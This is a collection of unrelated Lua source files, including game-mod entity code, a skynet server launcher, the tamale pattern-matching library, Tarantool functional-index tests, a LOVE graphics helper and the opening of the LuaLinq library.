self:SetModelScale( math.random(90, 120)/100, self.growthTime) --grow the model over self.growthTime time. COOL!
elseif self.treeLevel == 4 && GLOBAL_coconut < 1.5*GLOBAL_coconut_max then
for i = 1,math.random(1,self.numberOfFruitMax) do
--timer.Simple( 3, function ()
--print("making coconut again")
newFruit = ents.Create("3p8_kookospahkina_puu")
if ( !IsValid( newFruit ) ) then return end
newFruit:SetPos(self:GetPos() + Vector(math.random(-12,12),math.random(-12,12),128+math.random(0,25)))
--at position up in the tree (might need some if statements to do bearing fruit earlier/later)
--maybe use the entity's height subtract some?
newFruit:Spawn()
--if self.chance >= 0.75 then
--randomly make coconuts fall
newFruit:GetPhysicsObject():Wake()
--end
self.kids = self.kids + 1
--end)
end
if self.kids >= self.maxKids then
self:Remove()
--timer.Remove(timer_name)
end
end
end
end
function ENT:OnGroundNotStupidEdition(position)
local plantable = false
local startpos = position
local endpos = startpos + Vector(0,0,-1)*10
local tmin = Vector(1,1,1)*-5
local tmax = Vector(1,1,1)*5
local tr = util.TraceHull( {
start = startpos,
endpos = endpos,
filter = self,
mins = tmin,
maxs = tmax,
mask = MASK_SHOT_HULL
} )
if not IsValid(tr.Entity) then
tr = util.TraceLine({
start = startpos,
endpos = endpos,
filter = self,
mask = MASK_SHOT_HULL
})
end
local ent = tr.Entity
if IsValid(ent) && ent:GetClass() == "func_brush" then
plantable = true
end
return plantable
end
function ENT:OnTakeDamage(damageto)
self.health = self.health - damageto:GetDamage()
if self.health <= 0 then
self:EmitSound("weapons/debris1.wav")
self:Remove()
end
end
--models/props_forest/log.mdl
|
Events.OnGameStart.Add( function ()
-- Adding USFbackpack to NecroForge
if NecroList then
if NecroList.Items.USFbackpack then
else
NecroList.Items.USFbackpack = {"Misc.", nil, nil, "Special force backpack", "USFpack.USFbackpack", "Item_USFbackpack", nil, nil, nil};
end
end
end)
|
---------------------------------------------
-- Dispelling Wind
--
-- Description: Dispels two effects from targets in an area of effect.
-- Type: Enfeebling
-- Utsusemi/Blink absorb: Ignores shadows
-- Range: 10' radial
-- Notes:
---------------------------------------------
require("scripts/globals/monstertpmoves")
require("scripts/globals/settings")
require("scripts/globals/status")
require("scripts/globals/msg")
---------------------------------------------
function onMobSkillCheck(target, mob, skill)
return 0
end
function onMobWeaponSkill(target, mob, skill)
local dis1 = target:dispelStatusEffect()
local dis2 = target:dispelStatusEffect()
if (dis1 ~= tpz.effect.NONE and dis2 ~= tpz.effect.NONE) then
skill:setMsg(tpz.msg.basic.DISAPPEAR_NUM)
return 2
elseif (dis1 ~= tpz.effect.NONE or dis2 ~= tpz.effect.NONE) then
-- dispeled only one
skill:setMsg(tpz.msg.basic.DISAPPEAR_NUM)
return 1
else
skill:setMsg(tpz.msg.basic.SKILL_NO_EFFECT) -- no effect
end
return 0
end
|
local skynet = require "skynet"
--\lualib\config\system.lua
local config = require "config.system"
local login_config = require "config.loginserver"
local game_config = require "config.gameserver"
local protobufload = require "protobufload"
local logstat = require "base.logstat"
local syslog = require "syslog"
local sharedata = require "sharedata"
local carddata = require "data.carddata"
local userinfo = require "data.userinfo"
local deckinfo = require "data.deckinfo"
skynet.start(function()
logstat.create()
-- logstat.log_day("hello","hello world !")
local protobufload = protobufload.inst()
-- protobufload.env_new()
protobufload.initload(protobufload)
-- userinfo.initload()
-- local mpCards,mpCmds = carddata.initload()
-- sharedata.new("mpCards", mpCards)
-- sharedata.new("mpCmds", mpCmds)
-- print_r(mpCmds[10001])
-- local deckplay,decknpc = deckinfo.initload()
-- sharedata.new("deckplay", deckplay)
-- sharedata.new("decknpc", decknpc)
-- local data_userinfo,mpBase = userinfo.initload()
-- sharedata.new("data_userinfo", data_userinfo)
-- sharedata.new("mpBase", mpBase)
skynet.uniqueservice("luaconf")
skynet.newservice ("debug_me", config.debug_port)
skynet.newservice ("protod")
skynet.uniqueservice ("mysqlserver")
skynet.uniqueservice ("shopserver")
skynet.newservice("battleserver")
local loginserver = skynet.newservice ("loginserver")
skynet.call (loginserver, "lua", "open", login_config)
syslog.noticef ("main loginserver:%d",loginserver)
local gamed = skynet.newservice("gamed")
skynet.call(gamed, "lua", "start", {
port = 9555,
maxclient = max_client,
})
---------------------新登录接口-----------------------------------------------
--[[ 要使用msgserver一般都要跟loginserver一起使用,下面我们让他们一起工作.
客户端登录的时候,一般先登录loginserver,然后再去连接实际登录点,
msgserver一般充当真实登录点的角色,原理图如下:
]]--
local logind = skynet.newservice("logind")
local gate = skynet.newservice("gated", logind)
--网关服务需要发送lua open来打开,open也是保留的命令
skynet.call(gate, "lua", "open" , {
port = 8888,
maxclient = 64,
servername = "logind_sample",
})
-------------------------------------------------------------------------------
-- local uid = "nzhsoft"
-- local secret = "11111111"
-- local subid = skynet.call(gate, "lua", "login", uid, secret) --告诉msgserver,nzhsoft这个用户可以登陆
-- skynet.error("lua login subid", subid)
-- skynet.call(gate, "lua", "logout", uid, subid) --告诉msgserver,nzhsoft登出
-- skynet.call(gate, "lua", "kick", uid, subid) --告诉msgserver,剔除nzhsoft连接
-- skynet.call(gate, "lua", "close") --关闭gate,也就是关掉监听套接字
end)
|
--[[
Copyright (c) 2010 Scott Vokes <vokes.s@gmail.com>
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
--]]
-- Depenedencies
local assert, getmetatable, ipairs, pairs, pcall, setmetatable, type =
assert, getmetatable, ipairs, pairs, pcall, setmetatable, type
local concat, insert, sort = table.concat, table.insert, table.sort
local strmatch, tostring = string.match, tostring
local function trace(...) print(string.format(...)) end
---TAble-MAtching Lua Extension.
module("tamale")
VERSION = "1.2.1"
DEBUG = false --Set to true to enable traces.
local function sentinel(descr)
return setmetatable({}, { __tostring=function() return descr end })
end
local VAR, NIL = sentinel("[var]"), sentinel("[nil]")
local function is_var(t) return getmetatable(t) == VAR end
---Mark a string in a match pattern as a variable key.
-- (You probably want to alias this locally to something short.)
-- Any variables beginning with _ are ignored.
-- @usage { "extract", {var"_", var"_", var"third", var"_" } }
-- @usage A variable named "..." captures subsequent array-portion values.
function var(name)
assert(type(name) == "string", "Variable name must be string")
local ignore = (name:sub(1, 1) == "_")
local rest = (name == "...")
return setmetatable( { name=name, ignore=ignore, rest=rest }, VAR)
end
---Returns a function that tests a string with string:match, rather
-- than ==. Any captures from the string match are appended to the
-- capture table. Like var, this would probably be locally aliased,
-- and used like { P"num (%d+)", handler }.
function P(str)
return function(v)
if type(v) == "string" then return strmatch(v, str) end
end
end
---Default hook for match failure.
-- @param val The unmatched value.
function match_fail(val)
return nil, "Match failed", val
end
-- Key-weak cache for table counts, since #t only gives the
-- length of the array portion, and otherwise, values with extra
-- non-numeric keys can match rows that do not have them.
local counts = setmetatable({}, { __mode="k"})
local function get_count(t)
local v = counts[t]
if not v then
v = 0
for k in pairs(t) do v = v + 1 end
counts[t] = v
end
return v
end
-- Structurally match val against a pattern, setting variables in the
-- pattern to the corresponding values in val, and recursively
-- unifying table fields. Functions are treated as predicates - any
-- non-false result(s) are considered a success and are captured.
local function unify(pat, val, cs, ids, row)
local pt, vt, nil_captures = type(pat), type(val), 0
if pt == "table" then
if is_var(pat) then
local cur = cs[pat.name]
if cur and cur ~= val and not pat.ignore then return false end
cs[pat.name] = val
return cs
end
if vt ~= "table" then return false end
if ids[pat] and pat ~= val then --compare by pointer equality
return false
else
for k,v in pairs(pat) do
if not unify(v, val[k], cs, ids, row) then return false end
end
end
if not row.partial then --make sure val doesn't have extra fields
if get_count(pat) ~= get_count(val) then return false end
elseif row.rest then --save V"..." captures
local rest = {}
for i=row.rest,#val do rest[#rest+1] = val[i] end
cs['...'] = rest
end
return cs
elseif pt == "function" then
local fcs = { pat(val) } --function captures
if #fcs == 0 or not fcs[1] then return false end
for _,c in ipairs(fcs) do cs[#cs+1] = c end
return cs
else --just compare as literals
return pat == val and cs or false
end
end
-- Replace any variables in the result with their captures.
local function substituted(res, u)
local r = {}
if is_var(res) then return u[res.name] end
for k,v in pairs(res) do
if type(v) == "table" then
if is_var(v) then r[k] = u[v.name] else r[k] = substituted(v, u) end
else
r[k] = v
end
end
return r
end
-- Return (or execute) the result, substituting any vars present.
local function do_res(res, u, has_vars)
local t = type(res)
if t == "function" then
return res(u)
elseif t == "table" and has_vars then
return substituted(res, u), u
end
return res, u
end
local function append(t, key, val)
local arr = t[key] or {}
arr[#arr+1] = val; t[key] = arr
end
local function has_vars(res)
if type(res) ~= "table" then return false end
if is_var(res) then return true end
for k,v in pairs(res) do
if type(v) == "table" then
if is_var(v) or has_vars(v) then return true end
end
end
return false
end
-- If the list of row IDs didn't exist when the var row was
-- indexed (and thus didn't get added), add it here.
local function prepend_vars(vars, lists)
for i=#vars,1,-1 do
local vid = vars[i]
for k,l in pairs(lists) do
if l[1] > vid then insert(l, 1, vid) end
end
end
end
local function indexable(v)
return not is_var(v) and type(v) ~= "function"
end
-- Index each literal pattern and pattern table's first value (t[1]).
-- Also, add insert patterns with variables or functions in the
-- appropriate place(s).
local function index_spec(spec)
local ls, ts = {}, {} --literals and tables
local lni, tni = {}, {} --non-indexable fields for same
local vrs = {} --rows with vars in the result
local debug = spec.debug
-- field/value to index by, defaults to t[1].
local ispec, indexer = spec.index or 1
if type(ispec) == "function" then indexer = ispec
elseif ispec == "false" then
indexer = function() end --put everything in the same index
else
indexer = function(t) return t[ispec] end
end
spec.indexer = indexer
for id, row in ipairs(spec) do
local pat, res = row[1], row[2]
local pt = type(pat)
if not indexable(pat) then --could match anything
if debug then trace(" * rule %d: not indexable, adding to all", id) end
lni[#lni+1] = id; tni[#tni+1] = id --for those that don't yet exist
for _,l in ipairs{ls, ts} do --and append to those that do
for k in pairs(l) do append(l, k, id) end
end
elseif pt == "table" then
local v = indexer(pat) or NIL
if not indexable(v) then --goes in every index
if debug then trace(" * rule %d: index(table) is not indexable", id) end
for k in pairs(ts) do append(ts, k, id) end
tni[#tni+1] = id
else
if debug then trace(" * rule %d: indexing on index(t)=%s",
id, tostring(v)) end
append(ts, v, id)
end
for i,v in ipairs(pat) do --check for special V"..." var
if is_var(v) and v.rest then
if debug then trace(" * rule %d: V'...' found in field %d",
id, i) end
row.partial = true; row.rest = i; break
end
end
else
if debug then trace(" * rule %d: indexing on %s",
id, tostring(pat)) end
append(ls, pat, id)
end
if has_vars(res) then
if debug then trace(" * rule %d: found var(s) in result", id) end
vrs[id] = true
end
end
prepend_vars(lni, ls)
prepend_vars(tni, ts)
ls[VAR] = lni; ts[VAR] = tni
return { ls=ls, ts=ts, vrs=vrs }
end
-- Get the appropriate list of rows to check (if any).
local function check_index(spec, t, idx)
local tt = type(t)
if tt == "table" then
local key = spec.indexer(t) or NIL
local ts = idx.ts
return ts[key] or ts[VAR]
else
local ls = idx.ls
return ls[t] or ls[VAR]
end
end
---Return a matcher function for a given specification. When the
-- function is called on one or more values, its first argument is
-- tested in order against every rule that could possibly match it,
-- selecting the relevant result (if any) or returning the values
-- (false, "Match failed", val).
-- If the result is a function, it is called with a table containing
-- any captures and any subsequent arguments passed to the matcher
-- function (in captures.args).
--@param spec A list of rows, where each row is of the form
-- { rule, result, [when=capture_predicate] }.
--@usage spec.ids: An optional list of table values that should be
-- compared by identity, not structure. If any empty tables are
-- being used as a sentinel value (e.g. "MAGIC_ID = {}"), list
-- them here.
--@usage spec.debug=true: Turn on debugging traces for the matcher.
function matcher(spec)
local debug = spec.debug or DEBUG
local ids = {}
if spec.ids then
for _,id in ipairs(spec.ids) do ids[id] = true end
end
local idx = index_spec(spec)
local vrs = idx.vrs --variable rows
return
function (t, ...)
local rows = check_index(spec, t, idx)
if debug then
trace(" -- Checking rules: %s", concat(rows, ", "))
end
for _,id in ipairs(rows) do
local row = spec[id]
local pat, res, when = row[1], row[2], row.when
if debug and res == nil then trace " -- Missing result" end
local args = { ... }
local u = unify(pat, t, { args=args }, ids, row)
if debug then
trace(" -- Trying rule %d...%s", id, u and "matched" or "failed")
end
if u then
u.input = t --whole matched value
if when then
local ok, val = pcall(when, u)
if debug then trace(" -- Running when(captures) check...%s",
(ok and val) and "matched" or "failed")
end
if ok and val then
return do_res(res, u, vrs[id])
end
else
return do_res(res, u, vrs[id])
end
end
end
if debug then trace(" -- Failed") end
local fail = spec.fail or match_fail
return fail(t)
end
end
|
test_run = require('test_run').new()
engine = test_run:get_cfg('engine')
test_run:cmd("push filter \"file: .*\" to \"file: <filename>\"")
test_run:cmd("push filter \"line: .*\" to \"line: <line>\"")
--
-- gh-1260: Func index.
--
s = box.schema.space.create('withdata', {engine = engine})
lua_code = [[function(tuple) return {tuple[1] + tuple[2]} end]]
lua_code2 = [[function(tuple) return {tuple[1] + tuple[2], 2 * tuple[1] + tuple[2]} end]]
box.schema.func.create('s_nonpersistent')
box.schema.func.create('s_ivaliddef1', {body = lua_code, is_deterministic = false, is_sandboxed = true})
box.schema.func.create('s_ivaliddef2', {body = lua_code, is_deterministic = true, is_sandboxed = false})
box.schema.func.create('s', {body = lua_code, is_deterministic = true, is_sandboxed = true})
box.schema.func.create('ss', {body = lua_code2, is_deterministic = true, is_sandboxed = true})
-- Func index can't be primary.
_ = s:create_index('idx', {func = box.func.s.id, parts = {{1, 'unsigned'}}})
pk = s:create_index('pk')
-- Invalid fid.
_ = s:create_index('idx', {func = 6666, parts = {{1, 'unsigned'}}})
s.index.idx:drop()
-- Can't use non-persistent function in functional index.
_ = s:create_index('idx', {func = box.func.s_nonpersistent.id, parts = {{1, 'unsigned'}}})
-- Can't use non-deterministic function in functional index.
_ = s:create_index('idx', {func = box.func.s_ivaliddef1.id, parts = {{1, 'unsigned'}}})
-- Can't use non-sandboxed function in functional index.
_ = s:create_index('idx', {func = box.func.s_ivaliddef2.id, parts = {{1, 'unsigned'}}})
-- Can't use non-sequential parts in returned key definition.
_ = s:create_index('idx', {func = box.func.ss.id, parts = {{1, 'unsigned'}, {3, 'unsigned'}}})
-- Can't use parts started not by 1 field.
_ = s:create_index('idx', {func = box.func.ss.id, parts = {{2, 'unsigned'}, {3, 'unsigned'}}})
-- Can't use JSON paths in returned key definiton.
_ = s:create_index('idx', {func = box.func.ss.id, parts = {{"[1]data", 'unsigned'}}})
-- Can't drop a function referenced by functional index.
idx = s:create_index('idx', {unique = true, func = box.func.s.id, parts = {{1, 'unsigned'}}})
box.schema.func.drop('s')
box.snapshot()
test_run:cmd("restart server default")
box.schema.func.drop('s')
s = box.space.withdata
idx = s.index.idx
idx:drop()
box.schema.func.drop('s')
test_run = require('test_run').new()
engine = test_run:get_cfg('engine')
-- Invalid functional index extractor routine return: the extractor must return keys.
lua_code = [[function(tuple) return "hello" end]]
box.schema.func.create('invalidreturn0', {body = lua_code, is_deterministic = true, is_sandboxed = true})
idx = s:create_index('idx', {func = box.func.invalidreturn0.id, parts = {{1, 'unsigned'}}})
s:insert({1})
idx:drop()
-- Invalid functional index extractor routine return: a stirng instead of unsigned
lua_code = [[function(tuple) return {"hello"} end]]
box.schema.func.create('invalidreturn1', {body = lua_code, is_deterministic = true, is_sandboxed = true})
idx = s:create_index('idx', {func = box.func.invalidreturn1.id, parts = {{1, 'unsigned'}}})
s:insert({1})
idx:drop()
-- Invalid functional index extractor routine return: invalid return format for multikey index.
lua_code = [[function(tuple) return {"hello", "world"}, {1, 2} end]]
box.schema.func.create('invalidreturn2', {body = lua_code, is_deterministic = true, is_sandboxed = true, opts = {is_multikey = true}})
idx = s:create_index('idx', {func = box.func.invalidreturn2.id, parts = {{1, 'unsigned'}, {2, 'unsigned'}}})
s:insert({1})
idx:drop()
-- Invalid functional index extractor routine return: the second returned key invalid.
lua_code = [[function(tuple) return {{"hello", "world"}, {1, 2}} end]]
box.schema.func.create('invalidreturn3', {body = lua_code, is_deterministic = true, is_sandboxed = true, opts = {is_multikey = true}})
idx = s:create_index('idx', {func = box.func.invalidreturn3.id, parts = {{1, 'unsigned'}, {2, 'unsigned'}}})
s:insert({1})
idx:drop()
-- Invalid functional index extractor routine return: multikey return in case of regular index.
lua_code = [[function(tuple) return {{"hello", "world"}, {1, 2}} end]]
box.schema.func.create('invalidreturn4', {body = lua_code, is_deterministic = true, is_sandboxed = true})
idx = s:create_index('idx', {func = box.func.invalidreturn4.id, parts = {{1, 'unsigned'}, {2, 'unsigned'}}})
s:insert({1})
idx:drop()
-- Invalid functional index extractor routine return: invalid return format for multikey index 2.
lua_code = [[function(tuple) return "hello" end]]
box.schema.func.create('invalidreturn5', {body = lua_code, is_deterministic = true, is_sandboxed = true, opts = {is_multikey = true}})
idx = s:create_index('idx', {func = box.func.invalidreturn5.id, parts = {{1, 'unsigned'}, {2, 'unsigned'}}})
s:insert({1})
idx:drop()
-- Invalid function: runtime extractor error
test_run:cmd("setopt delimiter ';'")
lua_code = [[function(tuple)
local json = require('json')
return json.encode(tuple)
end]]
test_run:cmd("setopt delimiter ''");
box.schema.func.create('runtimeerror', {body = lua_code, is_deterministic = true, is_sandboxed = true})
idx = s:create_index('idx', {func = box.func.runtimeerror.id, parts = {{1, 'string'}}})
s:insert({1})
e = box.error.last()
e:unpack()
e = e.prev
e:unpack()
e = e.prev
e == nil
idx:drop()
-- Remove old persistent functions
for _, v in pairs(box.func) do if v.is_persistent then box.schema.func.drop(v.name) end end
s:drop()
-- Func index test cases.
s = box.schema.space.create('withdata', {engine = engine})
lua_code = [[function(tuple) return {tuple[1] + tuple[2]} end]]
box.schema.func.create('extr', {body = lua_code, is_deterministic = true, is_sandboxed = true})
pk = s:create_index('pk')
s:insert({1, 2})
idx = s:create_index('idx', {unique = true, func = 'extr', parts = {{1, 'integer'}}})
s:insert({2, 1})
idx:get(3)
idx:delete(3)
s:select()
s:insert({2, 1})
idx:get(3)
s:drop()
box.schema.func.drop('extr')
-- Multikey functional index.
s = box.schema.space.create('withdata', {engine = engine})
lua_code = [[function(tuple) return {{tuple[1] + tuple[2]}, {tuple[1] + tuple[2]}, {tuple[1]}} end]]
box.schema.func.create('extr', {body = lua_code, is_deterministic = true, is_sandboxed = true, opts = {is_multikey = true}})
pk = s:create_index('pk')
idx = s:create_index('idx', {unique = true, func = box.func.extr.id, parts = {{1, 'integer'}}})
s:insert({1, 2})
s:insert({3, 5})
s:insert({5, 3})
idx:select()
idx:get(8)
idx:get(3)
idx:get(1)
idx:get(5)
s:drop()
box.schema.func.drop('extr')
-- Multikey multipart functional index.
s = box.schema.space.create('withdata', {engine = engine})
lua_code = [[function(tuple) return {{600 + tuple[1], 600 + tuple[2]}, {500 + tuple[1], 500 + tuple[2]}} end]]
box.schema.func.create('extr', {body = lua_code, is_deterministic = true, is_sandboxed = true, opts = {is_multikey = true}})
pk = s:create_index('pk')
idx = s:create_index('idx', {unique = true, func = box.func.extr.id, parts = {{1, 'integer'}, {2, 'integer'}}})
s:insert({1, 2})
s:insert({2, 1})
s:insert({3, 3})
idx:select({600}, {iterator = "GE"})
idx:get({603, 603})
idx:select({503}, {iterator = "LE"})
s:drop()
box.schema.func.drop('extr')
-- Multikey non-unique functional index.
s = box.schema.space.create('withdata', {engine = engine})
lua_code = [[function(tuple) return {{500 + tuple[1]}, {500 + tuple[2]}, {500 + tuple[2]}, {500 + tuple[2]}} end]]
box.schema.func.create('extr', {body = lua_code, is_deterministic = true, is_sandboxed = true, opts = {is_multikey = true}})
pk = s:create_index('pk')
idx = s:create_index('idx', {unique = false, func = box.func.extr.id, parts = {{1, 'integer'}}})
s:insert({1, 2})
s:insert({2, 1})
idx:select({501})
idx:select({502})
s:replace({1, 3})
idx:select({501})
idx:select({502})
idx:select({503})
box.snapshot()
test_run:cmd("restart server default")
s = box.space.withdata
idx = s.index.idx
idx:select({501})
idx:select({502})
idx:select({503})
s:replace({1, 2})
idx:select({501})
idx:select({502})
idx:select({503})
s:drop()
box.schema.func.drop('extr')
-- Multikey UTF-8 address extractor
test_run = require('test_run').new()
engine = test_run:get_cfg('engine')
s = box.schema.space.create('withdata', {engine = engine})
pk = s:create_index('name', {parts = {1, 'string'}})
s:insert({"James", "SIS Building Lambeth London UK"})
s:insert({"Sherlock", "221B Baker St Marylebone London NW1 6XE UK"})
-- Create functional index on space with data
test_run:cmd("setopt delimiter ';'")
lua_code = [[function(tuple)
local address = string.split(tuple[2])
local ret = {}
for _, v in pairs(address) do table.insert(ret, {utf8.upper(v)}) end
return ret
end]]
test_run:cmd("setopt delimiter ''");
box.schema.func.create('addr_extractor', {body = lua_code, is_deterministic = true, is_sandboxed = true, opts = {is_multikey = true}})
idx = s:create_index('addr', {unique = false, func = box.func.addr_extractor.id, parts = {{1, 'string', collation = 'unicode_ci'}}})
idx:select('uk')
idx:select('Sis')
s:drop()
box.schema.func.drop('addr_extractor')
-- Partial index with functional index extractor
s = box.schema.space.create('withdata', {engine = engine})
pk = s:create_index('pk')
lua_code = [[function(tuple) if tuple[1] % 2 == 1 then return {{tuple[1]}} else return {} end end]]
box.schema.func.create('extr', {body = lua_code, is_deterministic = true, is_sandboxed = true, opts = {is_multikey = true}})
idx = s:create_index('idx', {unique = true, func = box.func.extr.id, parts = {{1, 'integer'}}})
s:insert({1})
s:insert({2})
s:insert({3})
s:insert({4})
idx:select()
s:drop()
box.schema.func.drop('extr')
-- Return nil from functional index extractor.
s = box.schema.space.create('withdata', {engine = engine})
pk = s:create_index('pk')
lua_code = [[function(tuple) return {nil} end]]
box.schema.func.create('extr', {body = lua_code, is_deterministic = true, is_sandboxed = true})
idx = s:create_index('idx', {unique = false, func = box.func.extr.id, parts = {{1, 'integer', is_nullable = true}}})
s:insert({1})
s:drop()
box.schema.func.drop('extr')
-- Multiple functional indexes.
s = box.schema.space.create('withdata', {engine = engine})
lua_code = [[function(tuple) return {tuple[1] + tuple[2]} end]]
box.schema.func.create('s', {body = lua_code, is_deterministic = true, is_sandboxed = true})
lua_code = [[function(tuple) return {tuple[1] - tuple[2]} end]]
box.schema.func.create('sub', {body = lua_code, is_deterministic = true, is_sandboxed = true})
pk = s:create_index('pk')
idx1 = s:create_index('s_idx', {unique = true, func = box.func.s.id, parts = {{1, 'integer'}}})
idx2 = s:create_index('sub_idx', {unique = true, func = box.func.sub.id, parts = {{1, 'integer'}}})
s:insert({4, 1})
idx1:get(5)
idx2:get(3)
idx1:drop()
idx2:get(3)
s:drop()
box.schema.func.drop('s')
box.schema.func.drop('sub')
--
-- gh-4401: make functional index creation transactional
--
test_run:cmd("setopt delimiter ';'")
function test1()
lua_code = [[function(tuple) return {tuple[1] + tuple[2]} end]]
box.schema.func.create('extr', {body = lua_code, is_deterministic = true, is_sandboxed = true})
box.schema.func.create('extr1', {body = lua_code, is_deterministic = true, is_sandboxed = true})
s = box.schema.space.create('withdata')
pk = s:create_index('pk')
box.space._index:insert({s.id, 2, 'idx', 'tree', {unique=true, func=box.func.extr.id}, {{0, 'integer'}}})
box.space._func_index:insert({s.id, 2, box.func.extr1.id})
end
test_run:cmd("setopt delimiter ''");
box.atomic(test1)
box.func.extr1 == nil
box.func.extr == nil
box.is_in_txn()
box.space._space.index.name:count('withdata') == 0
-- Test successful index creation
s = box.schema.space.create('withdata', {engine = engine})
lua_code = [[function(tuple) return {tuple[1] + tuple[2]} end]]
box.schema.func.create('extr', {body = lua_code, is_deterministic = true, is_sandboxed = true})
pk = s:create_index('pk')
test_run:cmd("setopt delimiter ';'")
function test2()
idx = s:create_index('idx', {unique = true, func = 'extr', parts = {{1, 'integer'}}})
end
test_run:cmd("setopt delimiter ''");
box.atomic(test2)
s:insert({1, 2})
idx:get({3})
s:drop()
box.func.extr:drop()
--
-- Function is added at alter.
--
s = box.schema.space.create('withdata', {engine = engine})
lua_code = [[function(tuple) return {tuple[2] >= 0 and tuple[2] or -tuple[2]} end]]
box.schema.func.create('second_field_module', {body = lua_code, is_deterministic = true, is_sandboxed = true})
pk = s:create_index('pk')
sk = s:create_index('sk', {parts = {{2, 'unsigned'}}})
sk:alter({func = 'second_field_module', parts = {{1, 'unsigned'}}})
s:insert({1, -3})
sk:get{3}
s:drop()
box.schema.func.drop('second_field_module')
|
---graphics functions.
-- @module graphics
local c = require('rude._contract')
local module = {
_fonts={}
}
--create table for memoizing images
module.imageCache = {}
setmetatable(module.imageCache, {__mode='v'})
---Returns an image object for a given file path.
function module.getImage(path)
c('rs')
if not module.imageCache[path] then
module.imageCache[path] = love.graphics.newImage(path)
end
return module.imageCache[path]
end
---Registers a LOVE font to the module with the specified id.
-- Fonts can be created using love.graphics.newFont(). The id can be referenced
-- later in component data, e.g. drawable text components.
function module.registerFont(id, font)
c('rn|s,ru|t')
module._fonts[id] = font
end
--Build the default font (vera sans 12pt)
local defaultFont = love.graphics.newFont(12)
module.registerFont('default', defaultFont)
---Returns a registered font.
-- If font does not exist, a default will be returned.
function module.getFont(id)
return module._fonts[id] or module._fonts['default'] or defaultFont
end
--Register some default fonts
--TODO
return module
|
-- LuaLinq - http://code.google.com/p/lualinq/
-- ------------------------------------------------------------------------
-- Copyright (c) 2012, Marco Mastropaolo (Xanathar)
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without modification,
-- are permitted provided that the following conditions are met:
--
-- o Redistributions of source code must retain the above copyright notice,
-- this list of conditions and the following disclaimer.
-- o Redistributions in binary form must reproduce the above copyright notice,
-- this list of conditions and the following disclaimer in the documentation
-- and/or other materials provided with the distribution.
-- o Neither the name of Marco Mastropaolo nor the names of its contributors
-- may be used to endorse or promote products derived from this software
-- without specific prior written permission.
--
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
-- ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-- WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
-- IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
-- INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
-- BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
-- OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
-- OF THE POSSIBILITY OF SUCH DAMAGE.
-- ------------------------------------------------------------------------
-- support lua 5.3
local unpack = table.unpack and table.unpack or unpack
-- how much log information is printed: 3 => verbose, 2 => info, 1 => only warning and errors, 0 => only errors, -1 => silent
local LOG_LEVEL = 1
-- prefix for the printed logs
local LOG_PREFIX = "LuaLinq: "
-- ============================================================
-- DEBUG TRACER
-- ============================================================
local LIB_VERSION_TEXT = "1.6.0"
local LIB_VERSION = 160
local function setLogLevel(level)
LOG_LEVEL = level;
end
local function _log(level, prefix, text)
if (level <= LOG_LEVEL) then
print(prefix .. LOG_PREFIX .. text)
end
end
local function logq(self, method)
if (LOG_LEVEL >= 3) then
logv("after " .. method .. " => " .. #self.m_Data .. " items : " .. _dumpData(self))
end
end
local function _dumpData(self)
local items = #self.m_Data
local dumpdata = "q{ "
for i = 1, 3 do
if (i <= items) then
if (i ~= 1) then
dumpdata = dumpdata .. ", "
end
dumpdata = dumpdata .. tostring(self.m_Data[i])
end
end
if (items > 3) then
dumpdata = dumpdata .. ", ..." .. items .. " }"
else
dumpdata = dumpdata .. " }"
end
return dumpdata
end
local function logv(txt)
_log(3, "[..] ", txt)
end
local function logi(txt)
_log(2, "[ii] ", txt)
end
local function logw(txt)
_log(1, "[W?] ", txt)
end
local function loge(txt)
_log(0, "[E!] ", txt)
end
-- ============================================================
-- CONSTRUCTOR
-- ============================================================
local from
local fromArray
local fromArrayInstance
local fromDictionary
local fromIterator
local fromIteratorsArray
local fromNothing
local fromSet
local _all
local _any
local _average
local _concat
local _contains
local _count
local _distinct
local _dump
local _except
local _exceptby
local _first
local _foreach
local _foreach
local _intersection
local _intersectionby
local _last
local _map
local _max
local _min
local _random
local _select
local _selectMany
local _skip
local _sum
local _take
local _toArray
local _toDictionary
local _toIterator
local _toTuple
local _union
local _where
local _whereIndex
local _xmap
local _zip
-- [private] Creates a linq data structure from an array without copying the data for efficiency
local function _new_lualinq(method, collection)
local self = { }
self.classid_71cd970f_a742_4316_938d_1998df001335 = 2
self.m_Data = collection
self.concat = _concat
self.select = _select
self.selectMany = _selectMany
self.where = _where
self.whereIndex = _whereIndex
self.take = _take
self.skip = _skip
self.zip = _zip
self.distinct = _distinct
self.union = _union
self.except = _except
self.intersection = _intersection
self.exceptby = _exceptby
self.intersectionby = _intersectionby
self.exceptBy = _exceptby
self.intersectionBy = _intersectionby
self.first = _first
self.last = _last
self.min = _min
self.max = _max
self.random = _random
self.any = _any
self.all = _all
self.contains = _contains
